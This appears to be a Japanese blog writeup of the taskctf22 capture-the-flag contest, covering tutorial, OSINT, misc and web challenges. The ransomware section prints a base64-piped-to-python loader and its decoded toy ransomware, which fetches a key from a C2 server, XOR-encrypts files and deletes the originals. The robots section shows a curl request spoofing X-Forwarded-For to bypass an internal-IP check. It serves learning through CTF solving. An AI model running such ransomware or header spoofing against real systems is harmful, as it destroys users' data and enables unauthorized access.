1
0

More than 1 year has passed since last update.

taskctf22 writeup

Posted at

taskさんのctf、taskctfに参加しました
taskさん、誕生日おめでとうございます!
結果はtutorial問含め、10問解くことができて26位でした
残り3問で全完だったので悔しい...!
スクリーンショット 2022-12-04 152850.png

[tutorial] submit_flag 121 Solves

Flagを提出してみましょう!

taskctf{th1s_1s_f14g}

上記のFlagを提出するだけ

flag:taskctf{th1s_1s_f14g}

[tutorial] just_google_it 108 Solves

分からないことがあれば、自分で調べてみましょう!

添付ファイルの文字列からFlagを取得してください!

添付されたテキストファイルを開くと、大量のbase64の文字列が出てくる
CyberChefのFrom Base64で復号する

大量のHello!の中にFlagが紛れている
Hello!が邪魔なのでvscodeの置換でHello! を消すとFlagが出てくる

flag:taskctf{Y0u_n0w_know_base64!}

[tutorial] try_python 102 Solves

Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。

Pythonを使って配布ファイルに書かれた数字を全て足してみましょう! Flagは taskctf{ファイルに書かれた数の合計} です。

添付ファイルを開くと、1 3 5 ... 999と数字が並んでいる
2ずつ増えているので1から999までの奇数を足せばよさそう
以下のpythonコードを実行した

number.py
sum = 0
for i in range(1,1000,2):
    sum = sum + i
    print(i)

print(sum)

flag:taskctf{250000}

[tutorial] build_docker_environment 68 Solves

DockerとはOSレベルの仮想化技術です。簡単にいうと、どのPCでも同じ環境をコマンド1つで作成できるようになります。これにより、皆さんのPC上でもデバッグを行うことができます。

配布ファイルに含まれるapp/app.pyのコメントを外してDockerコンテナを起動し、Flagを取得してみましょう

Virtualboxのkalilinuxにdocker入れてなかったので下記の記事を参考に入れた

導入した後はdockerのコンテナを起動するだけ
問題文の通りにapp/app.py#でコメントアウトされた部分を戻し
filesディレクトリ内でコンテナを起動し、状態を確認

$ docker-compose up -d --build
$ docker-compose ps

ポート番号が31777と分かるので、http://localhost:31777にアクセスしてFlagゲット

flag:taskctf{D1d_y0u_run_d0cker_c0nta1ner?}

[osint] welcome 130 Solves

2019年のtaskctfのwelcome問題のFlagは何でしたっけ?

「taskctf 2019」と検索するとWriteupが出てくるので、その中からWelcomeのFlagを探す

flag:taskctf{let's_enj0y!}

[osint] ramen 106 Solves

このラーメン屋の名前は何でしょう?

正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。

脳死でGoogleレンズすると、お店の名前が「SHIBIRE NOODLE 蝋燭屋」と分かる

flag:taskctf{蝋燭屋}

[osint] kofun 61 Solves

作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか?

Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。

まずはtaskさんのツイートから当たってみた
Twitterの検索欄でFrom:task4233 古墳と入力し検索すると下記のツイートが見つかる

2枚目の画像に埴輪が映っているのが特徴的だったのでGoogleレンズ
すると下記のサイトが見つかる

読んでいくと、この場所が「龍角寺古墳群 101号墳」と分かる
しかしFlagではなかった

うーんと考えていると、上記のサイト内で105号古墳(岩屋古墳)も紹介されていたので
「岩屋古墳」と検索

するとまさにツイートの1枚目の画像と同じものが出てきたので、これだ!となった

flag:taskctf{上福田岩屋古墳}

[osint] douro 34 Solves

この写真が撮られた場所の緯度と経度を教えてください!

フラグの形式は taskctf{緯度_経度} です。ただし、緯度経度は十進法で小数点以下四桁目を切り捨てたものとします。 例えば、 皇居の入口が答えなら taskctf{35.682_139.762}が答えになります。
douro.jpeg

右端にある看板の文字が答えのキーになりそうと判断
見えている文字「Culver P」と検索欄に打ち込むと予測変換で
「culver palms animal hospital」
「culver plaza」
などが出てきた
Googleマップで確認すると、画像のような大きな交差点があるのは「culver plaza」と分かった
4つの交差点から「RIGHT TURN PERMITTED WITHOUT STOPPING」の看板などがある場所をストリートビューで探すと下記の場所と一致

マップ上で右クリックして緯度経度を確かめてFlagゲット

flag:taskctf{33.693_-117.798}

[misc] ransomware 50 Solves

友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?

配布ファイルのシェルスクリプトの中身を確認

hbd.sh
#!/bin/sh
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3

どうやらbase64文字列をデコードしてpythonで実行しているっぽい
Cyberchefで復号すると、pythonコードが出てきた

encrypt.py
#!/usr/bin/env python3

import requests
import glob
import os

C2 = "{URL}"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()

コードを見るとxorで暗号化していると分かった
xorは

平文 ^ 鍵 = 暗号文
暗号文 ^ 鍵 = 平文

のように暗号化されたやつをもう一回、鍵とxorしてやれば復号できる
暗号化されたやつは、配布された下記ファイルの文字列

taskctf_flag.txt.encrypted
䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦

後は鍵の値を知りたいけど、URLから取得できなかったのでブルートフォース
Flagのフォーマットはtaskctf{}なので先頭の文字はtになるはず
UTF-8のバイト数は調べると3~8バイトと出てきたので、試行回数は100000000回と雑に決める
後は出てきた鍵の値で復号すればFlagゲット

dec.py
def main():

    encflag = "䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦"

    flag = ""

    for i in range(100000000):
        keycheck = chr(ord(encflag[0]) ^ i)
        
        if keycheck == "t":
            key = i
            break
    #print(key)

    for ch in encflag:
        flag += chr(ord(ch) ^ key)
    
    print(flag)

if __name__ == "__main__":
    main()

flag:taskctf{x0r_1s_e4sy_70_1mplemen7}

[web] robots 50 Solves

Flagが漏洩してるって聞いたけど、本当ですか???

URLにアクセスすると116 120 116と書かれたロボットの絵が出てくる
Flagがどこかに隠されているはずなのでブラウザの開発者ツールを使ったりしたけど分からなかった
なので、ヒントを閲覧
ヒントから、「robots ctf」と検索すると下記のサイトが出てくる

読んでいくと、どうやらrobots.txtなるものがあるみたいだ(知らなかった)
URLに/robots.txtと追加してアクセスすると

User-Agent: * Disallow: /admin/flag

と出てきた
flagの在り処は/admin/flagと分かり、勝ったなガハハと思ったが401 Unauthorized
どうやらinternal IP addressじゃないとアクセスできないみたい
ヒントの文面からもIPアドレスで騙すのが答えのキーだろう

burpsuiteとかでhtmlリクエスト書き換えるのかなあと思ったけどやり方が分からなかったので
「html request IPアドレス変更」で検索すると下記のサイトが見つかる

X-Forwarded-ForヘッダというものでIPアドレスを指定できるみたい
同じような問題がctfで出てるやろと思って「x-forwarded-for ctf」と検索すると出てきた

curlで一発で表示させれるようだ、簡単そうなのでこっち使おう
後は、どのIPアドレスで騙すかだが、自分自身のIPアドレスなら流石に通すだろと思ってローカルループバックアドレスを指定して実行すると通った

$ curl -H 'X-Forwarded-For:127.0.0.1' http://{ip}:{port}/admin/flag

flag:taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0